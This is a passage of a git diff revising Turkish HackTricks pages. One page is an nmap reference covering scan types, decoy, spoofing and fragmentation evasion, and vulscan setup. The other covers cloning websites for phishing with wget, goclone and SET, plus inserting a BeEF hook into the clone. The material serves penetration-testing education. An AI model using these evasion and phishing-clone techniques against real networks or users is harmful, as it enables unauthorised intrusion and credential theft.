IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, geri kalanlar için yalnızca IP başlığı gönderilir. Amacı, başlıkların bozulmasından dolayı, Protokol ulaşılamaz veya aynı protokolün yanıtları ile cevap verilir ve hedefin aktif olup olmadığı bilinir. * **`-n`**: DNS yok * **`-R`**: Her zaman DNS ### Port tarama teknikleri -* **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılabilirse çok iyidir.(yetkiler) Varsayılan olarak kullanılan budur. +* **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılabilirse çok iyidir (yetkiler) Varsayılan olarak kullanılan budur. * **`-sT`**: Bağlantıyı tamamlar, bu nedenle iz bırakır, ancak kesin olması için kullanılabilir. Varsayılan olarak yetkisiz. -* **`-sU`**: Daha yavaş, UDP için. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık(yanıt), kapalı(port ulaşılamaz), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV, nmap'ın desteklediği sürümlerden herhangi birini tespit etmek için birçok istek gönderir ve gerçek durumu tespit edebilir. Zamanı oldukça artırır. -* **`-sY`**: SCTP protokolü bağlantıyı kuramaz, bu nedenle kayıtlar olmaz, -PY gibi çalışır -* **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını aşabilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK bayrakları içermeyen tüm isteklere RST ile yanıt vermesi gerektiğine dayanırlar: açık/filtrelenmiş(hiçbir şey), kapalı(RST), filtrelenmiş (ICMP ulaşılamaz). Windows, CIsco, BSDI ve OS/400 üzerinde güvenilir değildir. Unix üzerinde evet. -* **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, şu anda tümünü kapalı olarak döndürecektir. -* **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW, açık/kapalı arasında ayrım yapar çünkü açık olanlar farklı bir pencere değeri ile yanıt verir: açık (pencere sıfır olmayan RST), kapalı (pencere sıfır olan RST), filtrelenmiş (ICMP ulaşılamaz veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmaz, bu yüzden eğer hepsi kapalıysa, çalışmıyor demektir, eğer birkaçı açıksa, düzgün çalışıyor demektir ve eğer birçok açık ve birkaç kapalı varsa, ters şekilde çalışıyor demektir. +* **`-sU`**: Daha yavaş, UDP için. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık(cevap), kapalı(port ulaşılamaz), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV, nmap'ın desteklediği sürümlerden herhangi birini tespit etmek için birçok istek gönderir ve gerçek durumu tespit edebilir. Zamanı oldukça uzatır. +* **`-sY`**: SCTP protokolü bağlantıyı kuramazsa, bu nedenle kayıtlar olmaz, -PY gibi çalışır +* **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını aşabilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK bayrakları içermeyen isteklere tümüyle RST ile yanıt vermesi gerektiği varsayımına dayanır: açık/filtrelenmiş(hiçbir şey), kapalı(RST), filtrelenmiş (ICMP ulaşılamaz). Windows, CIsco, BSDI ve OS/400'te güvenilir değildir. Unix'te evet. +* **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, BSD için kullanılır, şu anda tümünü kapalı olarak döndürecektir. +* **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW, açık/kapalı arasında ayrım yapar çünkü açıklar farklı bir pencere değeri ile yanıt verir: açık (pencere değeri 0 olmayan RST), kapalı (pencere = 0 RST), filtrelenmiş (ICMP ulaşılamaz veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmaz, bu yüzden eğer hepsi kapalıysa, çalışmıyor demektir, eğer birkaçı açıksa, sorunsuz çalışıyor demektir ve eğer birçok açık ve az kapalı varsa, ters şekilde çalışıyor demektir. * **`-sI`:** Boşta tarama. Eğer aktif bir güvenlik duvarı varsa ve belirli bir IP'yi filtrelemediğini biliyorsak (veya sadece anonimlik istiyorsak) zombi tarayıcıyı kullanabiliriz (tüm portlar için çalışır), olası zombileri bulmak için ipidseq betiği veya exploit auxiliary/scanner/ip/ipidseq kullanabiliriz. Bu tarayıcı, IP paketlerinin IPID numarasına dayanır. -* **`--badsum`:** Yanlış toplam gönderir, bilgisayarlar paketleri reddeder, ancak güvenlik duvarları bir şeyler yanıtlayabilir, güvenlik duvarlarını tespit etmek için kullanılır. -* **`-sZ`:** "Garip" SCTP tarayıcı, çerez yankısı parçalarıyla probeler gönderirken açıksa düşürülmeli veya kapalıysa ABORT ile yanıtlanmalıdır. Init'ten geçmeyen güvenlik duvarlarından geçebilir, kötü olan şey, filtrelenmiş ile açık arasında ayrım yapmamasıdır. -* **`-sO`:** Protokol Ip taraması. Bazı durumlarda hatta protokol bile ayırt edilemeyen yanlış ve boş başlıklar gönderir. Eğer ICMP ulaşılamaz protokol gelirse kapalıdır, eğer ulaşılamaz port gelirse açıktır, eğer başka bir hata gelirse filtrelenmiştir, eğer hiçbir şey gelmezse, açık|filtrelenmiştir. -* **`-b `:** FTPhost--> Bir makineden başka bir makineyi taramak için kullanılır, bunu yapmak için başka bir makinenin ftp'sine bağlanarak istediğiniz portlara dosya göndermesini istersiniz, yanıtlara göre açık olup olmadıklarını bileceksiniz. \[\:\@]\\[:\] Neredeyse tüm ftp sunucuları artık buna izin vermez ve bu nedenle pratikte pek kullanışlı değildir. +* **`--badsum`:** Yanlış toplam gönderir, bilgisayarlar paketleri reddeder, ancak güvenlik duvarları bir şeyler cevaplayabilir, güvenlik duvarlarını tespit etmek için kullanılır. +* **`-sZ`:** "Garip" SCTP tarayıcı, cookie echo parçaları ile probeler gönderirken açıksa düşürülmeleri veya kapalıysa ABORT ile yanıtlanmaları gerekir. Init'in geçemediği güvenlik duvarlarından geçebilir, kötü olan, filtrelenmiş ve açık arasında ayrım yapmaz. +* **`-sO`:** Protokol Ip taraması. Bazı durumlarda protokol bile ayırt edilemeyen yanlış ve boş başlıklar gönderir. Eğer ulaşılamaz protokol ICMP gelirse kapalıdır, ulaşılamaz port gelirse açıktır, başka bir hata gelirse filtrelenmiştir, hiçbir şey gelirse açık/filtrelenmiştir. +* **`-b `:** FTPhost--> Bir makineden başka bir makinenin bağlantısını kullanarak bir ana bilgisayarı taramak için kullanılır, bu, başka bir makinenin ftp'sine bağlanarak ve başka bir makineden taramak istediğiniz bağlantılara dosya göndermesini isteyerek yapılır, yanıtlara göre açık olup olmadıklarını bileceğiz. \[\:\@]\\[:\] Artık neredeyse tüm ftp sunucuları buna izin vermez ve bu nedenle pratikte pek kullanışlı değildir. ### **Merkezi analiz** -**-p:** Tarama yapılacak portları belirtmek için kullanılır. 65335'i seçmek için: **-p-** veya **-p all**. Nmap'in popülerliğine göre dahili bir sıralaması vardır. Varsayılan olarak ilk 1000'i kullanır. **-F** (hızlı tarama) ile ilk 100'ü tarar. **--top-ports \** Belirtilen sayıda ana portu (1'den 65335'e kadar) tarar. Portları rastgele sırayla kontrol eder, bunu önlemek için **-r** kullanılır. Ayrıca portları seçebiliriz: 20-30,80,443,1024- Bu sonuncusu, 1024'ten sonrasına bakacağı anlamına gelir. Ayrıca portları protokollere göre gruplayabiliriz: U:53,T:21-25,80,139,S:9. Nmap'ın popüler portları arasından bir aralık seçebiliriz: -p \[-1024] nmap-services içinde bulunan 1024'e kadar olan portları tarar. **--port-ratio \** Belirli bir oran aralığındaki en yaygın portları tarar, oran 0 ile 1 arasında olmalıdır. +**-p:** Taramak için portları belirtmek için kullanılır. 65335'i seçmek için: **-p-** veya **-p all**. Nmap'ın popülerliğine göre dahili bir sıralaması vardır. Varsayılan olarak ilk 1000'i kullanır. **-F** (hızlı tarama) ile ilk 100'ü tarar. **--top-ports \** Belirtilen sayıda ilk portları tarar (1'den 65335'e kadar). Portları rastgele sırayla kontrol eder, bunu önlemek için **-r** kullanılır. Ayrıca portları seçebiliriz: 20-30,80,443,1024- Bu sonuncusu 1024'ten sonrasına bakacağı anlamına gelir. Ayrıca portları protokollere göre gruplayabiliriz: U:53,T:21-25,80,139,S:9. Nmap'ın popüler portları içinde bir aralık seçebiliriz: -p \[-1024] nmap-services içinde bulunan 1024'e kadar olan portları tarar. **--port-ratio \** Belirli bir oran aralığındaki en yaygın portları tarar, oran 0 ile 1 arasında olmalıdır. **-sV** Sürüm taraması, yoğunluğu 0 ile 9 arasında ayarlanabilir, varsayılan 7. -**--version-intensity \** Yoğunluğu ayarlarız, daha düşük olduğunda sadece olasılığı yüksek olan sorguları gönderir, ancak tümünü değil. Bu sayede UDP tarama süresini önemli ölçüde kısaltabiliriz. +**--version-intensity \** Yoğunluğu ayarlarız, daha düşükse sadece olasılığı yüksek olan sondaları gönderir, ancak tümünü değil. Bu şekilde UDP tarama süresini önemli ölçüde kısaltabiliriz. **-O** İşletim sistemi tespiti -**--osscan-limit** Bir ana bilgisayarı iyi taramak için en az bir açık ve bir kapalı port olması gerekmektedir, bu koşul sağlanmazsa ve bu seçeneği belirlediysek, işletim sistemi tahmini yapmaz (zaman kazandırır) -**--osscan-guess** Belirleme mükemmel olmadığında daha fazla çaba harcar +**--osscan-limit** Bir ana bilgisayarı iyi tarayabilmek için en az bir açık ve bir kapalı port olması gerekir, bu koşul sağlanmazsa ve bu seçeneği belirlediysek, işletim sistemi tahmini yapmaz (zaman kazandırır) +**--osscan-guess** Os tespiti mükemmel olmadığında daha fazla çaba harcar **Scriptler** @@ -81,21 +81,21 @@ Varsayılanları kullanmak için -sC veya --script=default yeterlidir Mevcut türler: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version ve vuln -* **Auth:** Kimlik doğrulama için mevcut tüm _scriptleri_ çalıştırır -* **Default:** Aracın varsayılan temel _scriptlerini_ çalıştırır -* **Discovery:** _Hedef_ veya kurban hakkında bilgi toplar -* **External:** Harici kaynakları kullanmak için _script_ -* **Intrusive:** Kurban veya _hedef_ için müdahaleci olarak kabul edilen _scriptleri_ kullanır -* **Malware:** Zararlı kodlar veya _arka kapılar_ tarafından açık bağlantıları kontrol eder -* **Safe:** Müdahaleci olmayan _scriptleri_ çalıştırır -* **Vuln:** En bilinen zayıflıkları keşfeder -* **All:** Mevcut tüm NSE uzantılı _scriptleri_ çalıştırır +* **Auth:** kimlik doğrulama için mevcut tüm _scriptleri_ çalıştırır +* **Default:** aracın varsayılan temel _scriptlerini_ çalıştırır +* **Discovery:** _hedef_ veya kurban hakkında bilgi toplar +* **External:** harici kaynakları kullanmak için _script_ +* **Intrusive:** kurban veya _hedef_ için müdahaleci olarak kabul edilen _scriptleri_ kullanır +* **Malware:** kötü amaçlı yazılım veya _arka kapılar_ tarafından açık bağlantıları kontrol eder +* **Safe:** müdahaleci olmayan _scriptleri_ çalıştırır +* **Vuln:** en bilinen zayıflıkları keşfeder +* **All:** mevcut tüm NSE uzantılı _scriptleri_ çalıştırır Scriptleri aramak için: **nmap --script-help="http-\*" -> http- ile başlayanlar** -**nmap --script-help="not intrusive" -> Bu olmayanlar** +**nmap --script-help="not intrusive" -> Bunlar hariç tümü** **nmap --script-help="default or safe" -> Birinde veya her ikisinde olanlar** @@ -113,15 +113,15 @@ Scriptleri aramak için: \--script-updatedb -**Bir scripti kullanmak için sadece şunu yazmak yeterlidir: namp --script Script_Adı hedef** --> Scripti yazdığınızda hem script hem de tarayıcı çalıştırılır, bu nedenle tarayıcı seçenekleri de ekleyebiliriz, sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz. +**Bir scripti kullanmak için sadece şunu yazmanız yeterlidir: nmap --script Script_Adı hedef** --> Scripti yazdığınızda hem script hem de tarayıcı çalıştırılır, bu nedenle tarayıcı seçenekleri de ekleyebiliriz, sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz. **Zaman Kontrolü** **Nmap saniye, dakika, ms cinsinden zamanı değiştirebilir:** --host-timeout arguments 900000ms, 900, 900s ve 15m hepsi aynı işi yapar. -Nmap, taranacak toplam host sayısını gruplara böler ve bu grupları bloklar halinde analiz eder, böylece tüm gruplar analiz edilene kadar bir sonraki bloğa geçmez (ve kullanıcıya blok analiz edilene kadar herhangi bir güncelleme alınmaz). Bu nedenle, nmap için büyük gruplar kullanmak daha iyidir. Varsayılan olarak sınıf C'de 256 kullanır. +Nmap, taranacak toplam host sayısını gruplara böler ve bu grupları bloklar halinde analiz eder, tüm gruplar analiz edilene kadar bir sonraki bloğa geçmez (ve kullanıcıya blok analiz edilene kadar herhangi bir güncelleme almaz), bu nedenle nmap için büyük gruplar kullanmak daha iyidir. Varsayılan olarak sınıf C'de 256 kullanır. -Değiştirilebilir: **--min-hostgroup** _**\**_**;** **--max-hostgroup** _**\**_ (Paralel tarama grup boyutlarını ayarlayın) +Değiştirebilirsiniz\*\*--min-hostgroup\*\* _**\**_**;** **--max-hostgroup** _**\**_ (Paralel tarama grup boyutlarını ayarlayın) Paralel tarama sayısını kontrol edebilirsiniz ancak genellikle gerekli değildir (nmap, ağ durumuna göre otomatik kontrolü zaten içerir): **--min-parallelism** _**\**_**;** **--max-parallelism** _**\**_ @@ -135,13 +135,13 @@ Her test arasındaki süreyi yavaşlatmak için: **--scan-delay** _**\**_ Saniyedeki paket sayısını değiştirebilirsiniz: **--min-rate** _**\**_**;** **--max-rate** _**\**_ -Filtrelenmiş veya kapalı olan birçok portun yanıt vermesi uzun sürebilir, sadece açık olanları ilgilendiriyorsa daha hızlı tarama yapabilirsiniz: **--defeat-rst-ratelimit** +Filtrelenmiş veya kapalı birçok port yanıt vermek için uzun sürebilir, yalnızca açık olanları ilgilendiriyorsa daha hızlı tarama yapabilirsiniz: **--defeat-rst-ratelimit** -Nmap'ın ne kadar agresif olmasını istediğinizi belirlemek için: -T paranoid|sneaky|polite|normal|aggressive|insane +Nmap'ın ne kadar saldırgan olmasını istediğinizi belirlemek için: -T paranoid|sneaky|polite|normal|aggressive|insane \-T (0-1) -\-T0 --> Sadece bir port taranır ve bir sonraki için 5 dakika beklenir +\-T0 --> Yalnızca bir port taranır ve bir sonraki için 5 dakika beklenir \-T1 ve T2 --> Çok benzer ancak her test arasında sırasıyla 15 ve 0,4 saniye bekler @@ -155,38 +155,38 @@ Nmap'ın ne kadar agresif olmasını istediğinizi belirlemek için: -T paranoid Portları kapatır ve paketleri analiz eder. -**-f** Paketleri parçalamak için, varsayılan olarak başlık sonrası 8 baytta parçalar, bu boyutu belirtmek için ..mtu kullanırız (bunu kullanarak -f kullanmayın), ofset 8'in katı olmalıdır. **Sürüm tarama ve scriptler parçalamayı desteklemez** +**-f** Paketleri parçalamak için, varsayılan olarak başlık sonrası 8 bayt parçalar, bu boyutu belirtmek için ..mtu kullanırız (bununla birlikte, -f kullanmayın), ofset 8'in katı olmalıdır. **Sürüm tarama ve scriptler parçalamayı desteklemez** -**-D decoy1,decoy2,BEN** Nmap, başka IP adresleriyle tarama gönderir, böylece kendinizi gizlersiniz. ME'yi listeye eklerseniz, nmap sizi oraya yerleştirir, tamamen gizlenmek için kendinizden önce 5 veya 6 eklemek daha iyidir. RND:\ ile rastgele IP'ler oluşturabilirsiniz. TCP bağlantısı olmayan sürüm algılayıcılarıyla çalışmaz. Bir ağ içindeyseniz, etkin IP'leri kullanmanız önemlidir, aksi takdirde sizin tek etkin kişi olduğunuzu kolayca anlamak mümkün olur. +**-D decoy1,decoy2,BEN** Nmap, başka IP adresleriyle tarama gönderir, böylece kendinizi gizlersiniz. ME'yi listeye eklerseniz, nmap sizi oraya yerleştirir, sizi tamamen gizlemek için kendinizden önce 5 veya 6 eklemek daha iyidir. RND:\ ile rastgele IP'ler oluşturabilirsiniz. TCP bağlantısı olmayan sürüm algılayıcılarıyla çalışmaz. Bir ağ içindeyseniz, etkin IP'leri kullanmanız önemlidir, aksi takdirde sizin tek etkin kişi olduğunuzu kolayca anlamak çok kolay olacaktır. Rastgele IP'ler kullanmak için: nmap-D RND: 10 Hedef_IP -**-S IP** Nmap, IP'nizi alamadığında onu vermeniz gereken yerdir. Ayrıca, başka bir hedefin tarama yaptığını düşündürmek için de kullanılabilir. +**-S IP** Nmap, IP adresinizi alamazsa onu vermeniz gerekir. Ayrıca, başka bir hedefin onları taramakta olduğunu düşündürmek için de kullanılır. **-e \** Arayüzü seçmek için -Birçok yönetici, her şeyin düzgün çalışması için giriş kapılarını açık bırakır ve başka bir çözüm bulmaktan daha kolaydır. Bu zayıflığı aramak için nmap şunları içerir: **--source-port** _**\**_**;-g** _**\**_ _Eşdeğerdir_ +Birçok yönetici, her şeyin düzgün çalışması için giriş kapılarını açık bırakır ve başka bir çözüm bulmaktan daha kolaydır. Bu, DNS veya FTP gibi portlar olabilir... Bu zafiyeti aramak için nmap şunları içerir: **--source-port** _**\**_**;-g** _**\**_ _Eşdeğerdir_ **--data** _**\**_ Onaltılık metin göndermek için: --data 0xdeadbeef ve --data \xCA\xFE\x09 -**--data-string** _**\**_ Normal metin göndermek için: --data-string "Güvenlik Operasyonları tarafından yapılan tarama, uzantı 7192" +**--data-string** _**\**_ Normal metin göndermek için: --data-string "Güvenlik Operasyonları tarafından yapılan tarama, uzantı 7192 tarafından" -**--data-length** _**\**_ Nmap sadece başlıklar gönderir, bu sayede rastgele oluşturulan belirli bir bayt sayısı ekleriz +**--data-length** _**\**_ Nmap yalnızca başlıklar gönderir, bu sayede rastgele oluşturulacak belirli bir bayt sayısı ekleriz -IP paketini tamamen yapılandırmak için **--ip-options** +IP paketini tamamen yapılandırmak için **--ip-options** kullanın -Gönderilen ve alınan paketlerdeki seçenekleri görmek istiyorsanız, --packet-trace belirtin. Nmap ile IP seçeneklerini kullanma hakkında daha fazla bilgi ve örnekler için [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52). +Gönderilen ve alınan paketlerdeki seçenekleri görmek istiyorsanız, --packet-trace belirtin. Nmap ile IP seçeneklerini kullanma hakkında daha fazla bilgi ve örnek için [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52) adresine bakın. **--ttl** _**\**_ **--randomize-hosts** Saldırının daha az belirgin olmasını sağlamak için -**--spoof-mac** _**\**_ Mac adresini değiştirmek için örnekler: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 ve Cisco -**--proxies** _**\**_ Proksileri kullanmak için, bazen bir proxy nmap'in istediği kadar çok bağlantıyı açık tutmaz, bu durumda paralelizmi değiştirmek gerekebilir: --max-parallelism +**--spoof-mac** _**\**_ Mac adresini değiştirmek için örnekler: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 ve Cisco +**--proxies** _**\**_ Proxies kullanmak için, bazen bir proxy nmap'in istediği kadar çok bağlantıyı açık tutmaz, bu yüzden paralelizmi değiştirmek gerekebilir: --max-parallelism -**-sP** ARP ile ağdaki ana bilgisayarları keşfetmek için +**-sP** ARP ile ağdaki hostları keşfetmek için -Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin geçmesine izin veren bir güvenlik duvarı kuralı oluşturur (örneğin 20, 53 ve 67 gibi), nmap'e paketlerimizi bu bağlantı noktalarından göndermesini söyleyebiliriz: **nmap --source-port 53 Ip** +Çoğu yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin geçmesine izin veren bir güvenlik duvarı kuralı oluşturur (örneğin 20, 53 ve 67 gibi), nmap'e paketlerimizi bu bağlantı noktalarından göndermesini söyleyebiliriz: **nmap --source-port 53 Ip** **Çıktılar** @@ -194,7 +194,7 @@ Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin ge **-oX dosya** XML çıktısı -**-oS dosya** Script çocukları çıktısı +**-oS dosya** Script kidies çıktısı **-oG dosya** Grepable çıktı @@ -204,19 +204,19 @@ Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin ge **-d seviye** hata ayıklama -**--reason** Ana bilgisayarın ve durumun nedeni +**--reason** Host ve durumun nedeni **--stats-every zaman** Belirli aralıklarla durumu bildirir **--packet-trace** Gönderilen paketleri görmek için filtreler belirtilebilir: --version-trace veya --script-trace -**--open** Açık olanları, açık|filtrelenenleri ve filtrelenmeyenleri gösterir +**--open** Açık, açık|filtrelenen ve filtrelenmeyenleri gösterir **--resume dosya** Özet çıkarır **Çeşitli** -**-6** ipv6'ya izin verir +**-6** Ipv6'ya izin verir **-A** -O -sV -sC --traceroute ile aynıdır @@ -234,7 +234,7 @@ p / P Paket izlemeyi aç / kapat **Vulscan** -Nmap'in bir betiği, alınan hizmet sürümlerini çevrimdışı bir veritabanında (diğer önemli veritabanlarından indirilen) kontrol eder ve olası zayıflıkları döndürür +Nmap betiği, alınan hizmet sürümlerini çevrimdışı bir veritabanında (diğer önemli veritabanlarından indirilen) inceleyen ve olası zayıflıkları döndüren bir betiktir Kullandığı veritabanları: @@ -251,18 +251,36 @@ Nmap klasörüne indirip kurmak için: wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/ -Ayrıca veritabanı paketlerini indirip /usr/share/nmap/scripts/vulscan/ klasörüne eklemek gerekecektir +Ayrıca, veritabanlarından paketleri indirmek ve /usr/share/nmap/scripts/vulscan/ klasörüne eklemek gerekecektir Kullanım: -Hepsini kullanmak için: sudo nmap -sV --script=vulscan TARAMA_YAPILACAK_IP +Hepsini kullanmak için: sudo nmap -sV --script=vulscan TARAMA_EDILEN_HOST -Belirli bir veritabanını kullanmak için: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv TARAMA_YAPILACAK_IP +Belirli bir veritabanını kullanmak için: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv TARAMA_EDILEN_HOST ## Nmap Hizmet taramasını x16 hızlandırma -[**Bu gönderiye**](https://joshua.hu/nmap-speedup-service-scanning-16x) göre, nmap hizmet analizini hızlandırabilirsiniz, tüm **`totalwaitms`** değerlerini **`/usr/share/nmap/nmap-service-probes`** dosyasında **300** ve **`tcpwrappedms`** değerini **200** olarak değiştirerek. +[**Bu gönderiye**](https://joshua.hu/nmap-speedup-service-scanning-16x) göre, nmap hizmet analizini **`/usr/share/nmap/nmap-service-probes`** dosyasındaki tüm **`totalwaitms`** değerlerini **300** ve **`tcpwrappedms`** değerini **200** olarak değiştirerek hızlandırabilirsiniz. -Ayrıca, özellikle tanımlanmamış **`servicewaitms`** değerine sahip probeler varsayılan olarak **`5000`** değerini kullanır. Bu nedenle, her bir probeye değer ekleyebiliriz veya **nmap'i derleyebiliriz** ve [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) dosyasındaki varsayılan değeri değiştirebiliriz. +Ayrıca, özellikle tanımlanmamış **`servicewaitms`** değerine sahip probeler varsayılan olarak **`5000`** değerini kullanır. Bu nedenle, her bir probeye değer ekleyebiliriz veya **nmap**'i kendimiz derleyerek [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) dosyasındaki varsayılan değeri değiştirebiliriz. -Eğer `/usr/share/nmap/nmap-service-probes` dosyasındaki **`totalwaitms`** ve **`tcpwrappedms`** değerlerini hiç değiştirmek istemiyorsanız, [ayıklama kodunu](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) düzenleyerek bu değerlerin `nmap-service-probes` dosyasındaki tamamen yok sayılmasını sağlayabilirsiniz. +Eğer **`totalwaitms`** ve **`tcpwrappedms`** değerlerini hiç değiştirmek istemiyorsanız, `/usr/share/nmap/nmap-service-probes` dosyasındaki bu değerlerin tamamen yok sayılmasını sağlayacak şekilde [ayıklama kodunu](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) düzenleyebilirsiniz. + +
+ +{% embed url="https://websec.nl/" %} + +
+ +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile + +HackTricks'i desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün +* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. + +
diff --git a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md index a6d7626f3..5d9bf2a2c 100644 --- a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md +++ b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md @@ -1,26 +1,26 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
{% embed url="https://websec.nl/" %} -Bazen bir siber saldırı değerlendirmesi için tamamen bir web sitesini **kopyalamak** faydalı olabilir. +Bazen bir siber güvenlik değerlendirmesi için tamamen **bir web sitesini klonlamak** faydalı olabilir. -Kopyalanan web sitesine ayrıca bir BeEF kancası gibi bazı yükler ekleyebilirsiniz, böylece kullanıcının sekmesini "kontrol" edebilirsiniz. +Klonlanmış web sitesine kullanıcının sekmesini "kontrol etmek" için BeEF kancası gibi bazı payload'lar da ekleyebileceğinizi unutmayın. Bu amaçla kullanabileceğiniz farklı araçlar bulunmaktadır: @@ -29,28 +29,6 @@ Bu amaçla kullanabileceğiniz farklı araçlar bulunmaktadır: wget -mk -nH ``` ## goclone - -### Clone a Website - -#### Description - -The goclone tool allows you to clone a website by providing the URL of the target website. This can be useful for creating phishing pages that mimic legitimate websites to trick users into providing their sensitive information. - -#### Usage - -```bash -goclone -url -``` - -#### Example - -```bash -goclone -url https://www.example.com -``` - -#### Output - -The tool will create a clone of the target website and store it locally for further customization and deployment. ```bash #https://github.com/imthaghost/goclone goclone @@ -59,21 +37,20 @@ goclone ```bash #https://github.com/trustedsec/social-engineer-toolkit ``` -
+
{% embed url="https://websec.nl/" %} -
Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel 